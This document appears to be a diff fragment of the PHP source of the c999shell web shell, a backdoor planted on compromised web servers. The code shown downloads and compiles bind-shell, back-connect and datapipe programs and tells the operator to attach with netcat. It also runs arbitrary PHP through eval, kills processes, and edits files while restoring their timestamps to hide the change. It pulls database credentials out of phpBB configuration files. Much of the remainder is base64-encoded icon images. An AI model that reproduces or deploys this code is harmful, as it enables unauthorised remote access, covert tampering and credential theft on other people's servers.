    "; + echo ""; + } +} +if ($act == "tools") +{ + $bndportsrcs = array( + "c999sh_bindport.pl"=>array("Using PERL","perl %path %port"), + "c999sh_bindport.c"=>array("Using C","%path %port %pass") + ); + $bcsrcs = array( + "c999sh_backconn.pl"=>array("Using PERL","perl %path %host %port"), + "c999sh_backconn.c"=>array("Using C","%path %host %port") + ); + $dpsrcs = array( + "c999sh_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"), + "c999sh_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost") + ); + if (!is_array($bind)) {$bind = array();} + if (!is_array($bc)) {$bc = array();} + if (!is_array($datapipe)) {$datapipe = array();} + + if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;} + if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;} + + if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");} + if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;} + + if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";} + if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;} + if (!empty($bindsubmit)) + { + echo "Result of binding port:
    "; + $v = $bndportsrcs[$bind["src"]]; + if (empty($v)) {echo "Unknown file!
    ";} + elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!
    ";} + else + { + $w = explode(".",$bind["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!
    ";} + elseif (!$data = c999getsource($bind["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%port",$bind["port"],$v[1]); + $v[1] = str_replace("%pass",$bind["pass"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + sleep(5); + $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5); + if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";} + else {echo "Binding... ok! Connect to ".getenv("SERVER_ADDR").":".$bind["port"]."! You should use NetCat©, run \"nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."\"!
    View binder's process
    ";} + } + echo "
    "; + } + } + if (!empty($bcsubmit)) + { + echo "Result of back connection:
    "; + $v = $bcsrcs[$bc["src"]]; + if (empty($v)) {echo "Unknown file!
    ";} + else + { + $w = explode(".",$bc["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!
    ";} + elseif (!$data = c999getsource($bc["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%host",$bc["host"],$v[1]); + $v[1] = str_replace("%port",$bc["port"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...
    "; + } + } + } + if (!empty($dpsubmit)) + { + echo "Result of datapipe-running:
    "; + $v = $dpsrcs[$datapipe["src"]]; + if (empty($v)) {echo "Unknown file!
    ";} + elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!
    ";} + else + { + $srcpath = $tmpdir.$datapipe["src"]; + $w = explode(".",$datapipe["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!
    ";} + elseif (!$data = c999getsource($datapipe["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]); + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]); + $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]); + $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + sleep(5); + $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5); + if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";} + else {echo "Running datapipe... ok! Connect to ".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."! You should use NetCat©, run \"nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."\"!
    View datapipe process
    ";} + } + echo "
    "; + } + } + ?>Binding port:
    Port: "> Password: ">  
    +Back connection:
    HOST: "> Port: ">  
    +Click "Connect" only after open port for it. You should use NetCat©, run "nc -l -n -v -p "!

    +Datapipe:
    HOST: "> Local port: ">  
    Note: sources will be downloaded from remote server.Processes:

    "; + if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");} + else {$handler = "tasklist";} + $ret = myshellexec($handler); + if (!$ret) {echo "Can't execute \"".$handler."\"!";} + else + { + if (empty($processes_sort)) {$processes_sort = $sort_default;} + $parsesort = parsesort($processes_sort); + if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$y = "";} + else {$y = "";} + $ret = htmlspecialchars($ret); + if (!$win) + { + if ($pid) + { + if (is_null($sig)) {$sig = 9;} + echo "Sending signal ".$sig." to #".$pid."... "; + if (posix_kill($pid,$sig)) {echo "OK.";} + else {echo "ERROR.";} + } + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + for($i=0;$i".$head[$i]."";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) +{ + echo "
    "; + foreach($tab as $i=>$k) + { + echo ""; + foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "";} + echo ""; + } + echo "
    ".$v."
    "; + } +} +if ($act == "eval") +{ + if (!empty($eval)) + { + echo "Result of execution this PHP-code:
    "; + $tmp = ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) + { + ob_clean(); + eval($eval); + $ret = ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + ob_clean(); + echo $tmp; + if ($eval_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "
    "; + } + else {echo $ret."
    ";} + } + else + { + if ($eval_txt) + { + echo "
    "; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "Execution PHP-code"; if (empty($eval_txt)) {$eval_txt = TRUE;}} + echo "


     Display in text-area 
    "; +} +if ($act == "f") +{ + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") + { + if (file_exists($d.$f)) {echo "
    Permision denied (".htmlspecialchars($d.$f).")!
    ";} + else {echo "
    File does not exists (".htmlspecialchars($d.$f).")!
    Create
    ";} + } + else + { + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array("","info"), + array("","html"), + array("","txt"), + array("Code","code"), + array("Session","phpsess"), + array("","exe"), + array("SDB","sdb"), + array("","img"), + array("","ini"), + array("","download"), + array("","notepad"), + array("","edit") + ); + echo "Viewing file:     ".$f." (".view_size(filesize($d.$f)).")      ".view_perms_color($d.$f)."
    Select action/file-type:
    "; + foreach($arr as $t) + { + if ($t[1] == $rft) {echo " ".$t[0]."";} + elseif ($t[1] == $ft) {echo " ".$t[0]."";} + else {echo " ".$t[0]."";} + echo " (+) |"; + } + echo "
    "; + if ($ft == "info") + { + echo "Information:"; + if (!$win) + { + echo "
    Path ".$d.$f."
    Size ".view_size(filesize($d.$f))."
    MD5 ".md5_file($d.$f)."
    Owner/Group "; + $ow = posix_getpwuid(fileowner($d.$f)); + $gr = posix_getgrgid(filegroup($d.$f)); + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + } + echo "
    Perms".view_perms_color($d.$f)."
    Create time ".date("d/m/Y H:i:s",filectime($d.$f))."
    Access time ".date("d/m/Y H:i:s",fileatime($d.$f))."
    MODIFY time ".date("d/m/Y H:i:s",filemtime($d.$f))."

    "; + $fi = fopen($d.$f,"rb"); + if ($fi) + { + if ($fullhexdump) {echo "FULL HEXDUMP"; $str = fread($fi,filesize($d.$f));} + else {echo "HEXDUMP PREVIEW"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000
    "; + $a1 = ""; + $a2 = ""; + for ($i=0; $i";} + $a1 .= "
    "; + $a2 .= "
    "; + } + } + //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."
    ";} + echo "
    ".$a0."".$a1."".$a2."

    "; + } + $encoded = ""; + if ($base64 == 1) + { + echo "Base64 Encode
    "; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) + { + echo "Base64 Encode + Chunk
    "; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) + { + echo "Base64 Encode + Chunk + Quotes
    "; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) + { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "Base64 Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "
    "; + } + if (!empty($encoded)) + { + echo "

    "; + } + echo "HEXDUMP: [Full] [Preview]
    Base64: +
    [Encode +[+chunk +[+chunk+quotes +[Decode +

    "; + } + elseif ($ft == "html") + { + if ($white) {@ob_clean();} + echo $r; + if ($white) {c999shexit();} + } + elseif ($ft == "txt") {echo "

    ".htmlspecialchars($r)."
    ";} + elseif ($ft == "ini") {echo "
    "; var_dump(parse_ini_file($d.$f,TRUE)); echo "
    ";} + elseif ($ft == "phpsess") + { + echo "
    ";
    +   $v = explode("|",$r);
    +   echo $v[0]."
    "; + var_dump(unserialize($v[1])); + echo "
    "; + } + elseif ($ft == "exe") + { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "Execute file:

    Display in text-area
    "; + } + elseif ($ft == "sdb") {echo "
    "; var_dump(unserialize(base64_decode($r))); echo "
    ";} + elseif ($ft == "code") + { + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) + { + $arr = explode("\n",$r); + if (count($arr == 18)) + { + include($d.$f); + echo "phpBB configuration is detected in this file!
    "; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "Connect to DB

    ";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c999shell. Please, report us for fix.";} + echo "Parameters for manual connect:
    "; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'
    ";} + echo "

    "; + } + } + echo "
    "; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {c999shexit();} + echo "
    "; + } + elseif ($ft == "download") + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == "notepad") + { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") + { + $inf = getimagesize($d.$f); + if (!$white) + { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "
    Size: "; + $sizes = array("100","50","20"); + foreach ($sizes as $v) + { + echo ""; + if ($imgsize != $v ) {echo $v;} + else {echo "".$v."";} + echo "   "; + } + echo "

    "; + } + else + { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == "edit") + { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "Can't write to file!";} + else + { + echo "Saved!"; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "
      
    "; + } + elseif (!empty($ft)) {echo "
    Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.
    ";} + else {echo "
    Unknown extension (".$ext."), please, select type manually.
    ";} + } +} +} +else +{ + @ob_clean(); + $images = array( +"arrow_ltr"=> +"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". +"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", +"back"=> +"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". +"Wg0JADs=", +"buffer"=> +"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". +"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". +"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", +"change"=> +"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". +"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". +"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". +"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". +"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". +"zMshADs=", +"delete"=> +"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". +"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". +"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". +"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". +"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". +"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". +"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". +"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". +"jwVFHBgiEGQFIgQasYkcSbJQIAA7", +"download"=> +"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". +"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", +"forward"=> +"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". +"WqsJADs=", +"home"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". +"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". +"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", +"mode"=> +"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". +"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". +"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", +"refresh"=> +"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA". +"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY". +"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ". +"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=", +"search"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". +"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". +"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". +"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". +"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", +"setup"=> +"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". +"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". +"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". +"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", +"small_dir"=> +"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". +"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", +"small_unk"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". +"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". +"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". +"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". +"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". +"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". +"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". +"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". +"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". +"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". +"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". +"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". +"yAsokBkQADs=", +"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR". +"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==", +"sort_asc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". +"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", +"sort_desc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". +"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", +"sql_button_drop"=> +"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA". +"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/". +"AQEAOw==", +"sql_button_empty"=> +"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". 